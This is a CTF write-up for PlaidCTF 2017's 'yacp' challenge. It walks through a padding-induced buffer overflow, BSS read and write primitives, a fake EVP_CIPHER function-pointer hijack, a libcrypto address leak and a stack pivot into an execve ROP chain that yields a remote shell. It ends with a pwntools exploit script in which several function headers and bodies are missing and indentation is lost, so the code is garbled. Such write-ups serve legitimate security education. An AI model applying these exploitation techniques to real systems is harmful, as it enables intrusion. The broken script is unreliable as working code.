Rating:

[writeup by @abiondo]

**CTF:** PlaidCTF 2017

**Team:** spritzers (from [SPRITZ Research Group](http://spritz.math.unipd.it/))

**Points:** 300


What’s this? Yet another crypto problem?
You’ve got to be kidding me!
Running at yacp.chal.pwning.xxx:7961


## The bug

We're given a stripped 32-bit Linux ELF, along with the dynamic libraries it uses (libc and libcrypto). checksec.sh shows partial RELRO, stack canary, NX and no PIE.

When running the binary without arguments we're presented with a proof-of-work challenge that's used on the remote side. We can skip this by providing an argument and we'll worry about it later.


LD_LIBRARY_PATH=. ./yacp foo Welcome to the cryptotool! Because apparently, you can never have too much crypto! What would you like to do? 0. Load data 1. Generate random data 2. Hash data 3. Encrypt data 4. Decrypt data 5. Display data  This tool has 32 2kB buffers (numbered 0 - 31) that you can read (option 5) and write (option 0). You can also perform crypto operations on those buffers. For example, an interaction for option 3 or 4 would go something like this:  What type of cipher would you like to perform? aes128 For your input, Which buffer (0-31) would you like to use? 0 For your output, Which buffer (0-31) would you like to use? 1 For your key, Which buffer (0-31) would you like to use? 2 For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use? 3  So we have control over all aspects of the crypto operation. The cipher name can be anything libcrypto supports (openssl list-cipher-algorithms), as the cipher is obtained via EVP_get_cipherbyname. The buffers are stored in the BSS with this layout: c char buffer[32][2048]; // @ 0x0804c0e0 int buffer_size[32]; // @ 0x0805c0e0  Where buffer_size[i] contains the actual length of the data stored in buffer[i]. This size field is set when a buffer is written and then used when a buffer is read. There doesn't seem to be an obvious overflow (the checks look good), but I notice that encryption and decryption routines do not perform any check on the output size. Since input and output have the same size, this looks safe on first glance. The output size of a block cipher is tipically the input size padded to be aligned to the block size of the cipher. The maximum buffer size (2kB) is aligned to the block size of any cipher I know of, so an overflow due to padding should never occur. However, libcrypto uses PKCS padding by default. If the input size is already aligned to the block size, an additional whole output block of padding is added. This means that if we completely fill the 2kB input buffer, we'll get a 2kB + padding block write to the output buffer, so the encrypted padding overflows. ## Primitive #1: buffer_size[0] control An obvious target for the overflow is the last buffer. The padding block will overwrite the first elements of buffer_size. If we can control a buffer size we should be able to leverage it into BSS read/write primitives. To control the size we need to find a cipher/key combination that will encrypt a block of PKCS padding to our desired size. This is equivalent to a known-plaintext attack. I'm not that good with crypto, so I ended up choosing a cipher and bruteforcing a key, which took too long for an exact size. However, by relaxing the constraints I was able to bruteforce a "good enough" size, which we'll use to perform a second overflow and obtain accurate size control.  Cipher: des-ecb Key : 0e ac 44 3a 41 41 41 41 Ptxt: 08 08 08 08 08 08 08 08 Ctxt: 08 50 00 00 3e 94 31 26  By encrypting any 2kB input into the last buffer with this key we'll corrupt buffer_size[0] to 20488, i.e. 10*2048 + 8. buffer_size[1] will be corrupted with junk, but we don't care about it (couldn't find a cipher with 32-bit block size). This makes encryption and decryption operations that use buffer 0 as input vulnerable to overflows into data after buffer, because the input size is greater than 2kB. We leverage this into arbitrary control over buffer_size[0]: 1. Prepare an encrypted payload of 10*2048 junk bytes, followed by 4 bytes of desired value for buffer_size[0], followed by 4 bytes of junk padding to align to block size (for some reason PKCS doesn't seem to work properly, so let's not bother, we don't care about buffer_size[1] anyway); 2. Load the payload contiguously into the buffers from 0 to 10; 3. Issue an encryption of a full buffer (e.g. 0) into buffer 31 with the bruteforced key, which will corrupt buffer_size[0] to 20488; 4. Issue a decryption of buffer 0 into buffer 22 with the payload key, which will overflow our desired value into buffer_size[0]. Later we'll need to put other data at the beginning of buffer[0], and we can't use option 0 because it'll reset the size. In that case the payload (before encryption) is made of the data padded to 10*2048 bytes, followed by desired size and padding. The payload can be encrypted with any key, which will come in handy later. ## Primitive #2: BSS read We can build a read primitive on top of #1. To read n bytes at a positive offset off from buffer: 1. Use primitive #1 to set buffer_size[0] = off + n; 2. Use the display option (5) to dump the contents of buffer 0; 3. The last n bytes are the desired read. ## Primitive #3: BSS write We can build a primitive that overflows into BSS data after buffer on top of #1. To write n bytes of data at offset off from buffer[32] (corrupting everything in between and possibly a few bytes after, depending on alignment): 1. Prepare a payload made of 2048 + off junk bytes, followed by the data we want to write, followed by junk padding to align to block size; 2. Use primitive #1 with the payload at the beginning of buffer[0] to set buffer_size[0] to the payload length; 3. Issue a decryption of buffer 0 into buffer 31, which will result in n data bytes (+ padding) overflowing after off. ## Putting everything together We can't access the GOT since it's before BSS due to RELRO, so corrupting something inside BSS will have to do. There's an [EVP_CIPHER_CTX](http://docs.huihoo.com/doxygen/openssl/1.0.1c/structevp__cipher__ctx__st.html) structure in the BSS at 0x0805c178 (past the buffer). This holds the cipher context for cipher operations. It holds an [EVP_CIPHER *](http://docs.huihoo.com/doxygen/openssl/1.0.1c/structevp__cipher__st.html) as its first member. EVP_CIPHER holds function pointers that are called during cipher operations. We can create a fake EVP_CIPHER inside of a buffer, then use primitive #3 to manipulate the pointer inside EVP_CIPHER_CTX to point to our fake struct. Since our junk padding doesn't add extra blocks, we're going to get a call to cleanup right after the pointer overwrite, so that's what we'll use. This provides IP control. Since NX is enabled we need to do ROP. There aren't enough gadgets in the binary, so we need to look at the libraries. Being dynamic, we need an address leak to bypass ASLR. We can't read libc addresses off the GOT. However, at 0x0805c208 there's the EVP_CIPHER * returned by EVP_get_cipherbyname. This points inside the data section of libcrypto, at a 0x1dd920 offset from its base (for des-ecb). We can leak it through primitive #2 and derandomize libcrypto. It has gadgets to build an execve chain (and ropper is able to do it automatically). The final issue is that we don't control the stack, so we need a pivot. I found out that when cleanup is called ebp contains the address of the key buffer. This is due to OpenSSL building with -fomit-frame-pointer by default, so ebp is used as a general-purpose register. A mov esp, ebp; pop ebp; ret; epilogue can be found at 0x3d619 from the base. The payload for primitive #1/#3 can be encrypted with an arbitrary key, so all we need to do is put 4 junk bytes (for pop ebp) followed by the ROP chain into the key buffer and make cleanup point to the stack pivot gadget. Finally, we have a local shell! ## Proof-of-work challenge When connecting to the remote service (and when running the binary without arguments) we're presented with a challenge:  Welcome to the cryptotool! Because apparently, you can never have too much crypto! Before we begin, please enter the magic word. It starts with f06cd76088a3a403 and is 32 characters long. Magic word?  By reversing the binary we see that the 8 hex bytes are generated randomly, while the length is always 32. To generate the magic word we have to append 16 bytes after the 16 hex digits, such that the SHA-256 hash of the word has its upper 28 bits set. This will require on average 2^28 / 2 hash calculations, which can bruteforced in a short time. Finally, we get a remote shell:  [+] Opening connection to yacp.chal.pwning.xxx on port 7961: Done [+] Solving challenge... [+] Found magic word: c1bc9a75c1b5ec6c !g,HF [+] Leaked libcrypto base: 0xf757c000 [*] Switching to interactive mode cat /home/yacp/flag
PCTF{porque_no_los_dos}


## Post-CTF considerations

After the CTF I realized this can be made much simpler:

* Instead of bruteforcing keys and overflowing encrypted PKCS padding into buffer_size, we can exploit the fact that buffer_size for the output buffer will be set to 2048 + block size, which can then be used to overflow our desired size into buffer_size;
* libc is loaded at a fixed offset before libcrypto, so we can derandomize libc using the libcrypto leak and call system(). The first argument passed to cleanup is the EVP_CIPHER_CTX *. Since EVP_CIPHER_CTX.cipher doesn't contain NUL bytes, we can just corrupt EVP_CIPHER_CTX.engine to ;sh; to get a shell.

You live, you learn :)

## Exploit code

This has been reworked after the CTF just to make it easier to read, the exploit is the one described in this writeup (I didn't change it to the simpler way).

python
#!/usr/bin/python2

from pwn import *
from Crypto.Cipher import DES
import itertools
import hashlib
import sys

# 08 08 08 08 08 08 08 08 -> 08 50 00 00 3e 94 31 26
CIPHER = 'des-ecb'
CORRUPT_KEY = '\x0e\xac\x44\x3a\x41\x41\x41\x41'

# Safe buffers for auxiliary data: 12-21
NUM_BUFS = 32
BUF_SIZE = 2048

def make_choice(n):
p.recvuntil('5. Display data\n')
p.sendline(str(n))

make_choice(0)
p.sendline('{}\n{}\n{}'.format(len(data), buf, data.encode('hex')))
p.recvuntil('hex-encoded bytes\n')

make_choice(5)
p.sendline('{}'.format(buf))
p.recvuntil(') = ')
return p.recvline().strip().decode('hex')

CRYPTO_OP_ENCRYPT = 3
CRYPTO_OP_DECRYPT = 4
def crypto_op(op, dst_buf, src_buf, key=CORRUPT_KEY):
KEY_BUF = 12
make_choice(op)
p.sendline('{}\n{}\n{}\n{}\n{}'.format(CIPHER, src_buf, dst_buf, KEY_BUF, KEY_BUF))
p.recvuntil('For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use?\n')

chunks = [data[i:i+BUF_SIZE] for i in range(0, len(data), BUF_SIZE)]
for i in range(len(chunks)):

# If len(key) > 8, uses key[:8] for payload encryption
# but still loads the full key into the key buffer
def primitive_control_buf0(size, data='', key=CORRUPT_KEY):
CORRUPT_SIZE = 20488
data += 'A'*(CORRUPT_SIZE - 8 - len(data)) + p32(size) + 'A'*4
des = DES.new(key[:8], DES.MODE_ECB)
# Corrupt buffer_size[0] = 20488
crypto_op(CRYPTO_OP_ENCRYPT, NUM_BUFS - 1, 0)
# Control size
crypto_op(CRYPTO_OP_DECRYPT, NUM_BUFS - CORRUPT_SIZE / BUF_SIZE, 0, key)

primitive_control_buf0(off + n)

crypto_op(CRYPTO_OP_DECRYPT, NUM_BUFS - 1, 0, key)

def build_fake_evp_cipher(cleanup):
# EVP_CIPHER.nid = 0x1d
evp_cipher = p32(0x1d)
# EVP_CIPHER.block_size = 8
evp_cipher += p32(8)
# EVP_CIPHER.key_len = 8
evp_cipher += p32(8)
# EVP_CIPHER.iv_len = 0
evp_cipher += p32(0)
# EVP_CIPHER.flags = 0x201
evp_cipher += p32(0x201)
# EVP_CIPHER.init = junk
# EVP_CIPHER.do_cipher = junk
# EVP_CIPHER.cleanup = cleanup
evp_cipher += p32(cleanup)
# EVP_CIPHER.ctx_size = 0x84
evp_cipher += p32(0x84)
# EVP_CIPHER.set_asn1_parameters = junk
# EVP_CIPHER.get_asn1_parameters = junk
# EVP_CIPHER.ctrl = junk
# EVP_CIPHER.app_data = junk
return evp_cipher

def leak_libcrypto_base():
EVP_CIPHER_LIBCRYPTO_OFFSET = 0x1dd920

def do_rop(rop, libcrypto_base):
FAKE_EVP_CIPHER_BUF = 13
GADGET_PIVOT = libcrypto_base + 0x3d619 # mov esp, ebp; pop ebp; ret;
# Load fake EVP_CIPHER in a buffer
# Junk for EBP in front of ROP chain
fake_stack = 'A'*4 + rop
# When GADGET_PIVOT is executed ebp = key buffer

def do_challenge():
p.recvuntil('It starts with ')
prefix = p.recv(16)
p.recvuntil('Magic word? ')
alpha = [chr(i) for i in range(0x20, 0x7F + 1)]
word = None
for cand in itertools.product(alpha, repeat=16):
cand_word = prefix + ''.join(cand)
digest = hashlib.sha256(cand_word).digest()
if digest[:3] == '\xff\xff\xff' and ord(digest[3]) >= 0xF0:
word = cand_word
break
if word is None:
print('[-] Cannot solve challenge')
sys.exit(1)
print('[+] Found magic word: {}'.format(word))
p.sendline(word)

context(arch='i386', os='linux')
#p = process('./yacp', env={'LD_LIBRARY_PATH': '.'})
p = remote('yacp.chal.pwning.xxx', 7961)

print('[+] Solving challenge...')
do_challenge()

libcrypto_base = leak_libcrypto_base()
print('[+] Leaked libcrypto base: 0x{:08x}'.format(libcrypto_base))

rebase_0 = lambda x : p32(x + libcrypto_base)

rop = rebase_0(0x000c9146) # 0x000c9146: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret;
rop += rebase_0(0x001e21a0)
rop += rebase_0(0x0011fdc8) # 0x0011fdc8: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000c9146) # 0x000c9146: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret;
rop += rebase_0(0x001e21a4)
rop += rebase_0(0x0011fdc8) # 0x0011fdc8: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000c9146) # 0x000c9146: pop eax; ret;
rop += p32(0x00000000)
rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret;
rop += rebase_0(0x001e21a8)
rop += rebase_0(0x0011fdc8) # 0x0011fdc8: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x0000641e) # 0x0000641e: pop ebx; ret;
rop += rebase_0(0x001e21a0)
rop += rebase_0(0x00004c32) # 0x00004c32: pop ecx; ret;
rop += rebase_0(0x001e21a8)
rop += rebase_0(0x00009328) # 0x00009328: pop edx; ret;
rop += rebase_0(0x001e21a8)
rop += rebase_0(0x000c9146) # 0x000c9146: pop eax; ret;
rop += p32(0x0000000b)
rop += rebase_0(0x0014d146) # 0x0014d146: int 0x80;

do_rop(rop, libcrypto_base)

p.interactive()


Original writeup (https://github.com/SPRITZ-Research-Group/ctf-writeups/tree/master/plaidctf-2017/pwnable/yacp-300).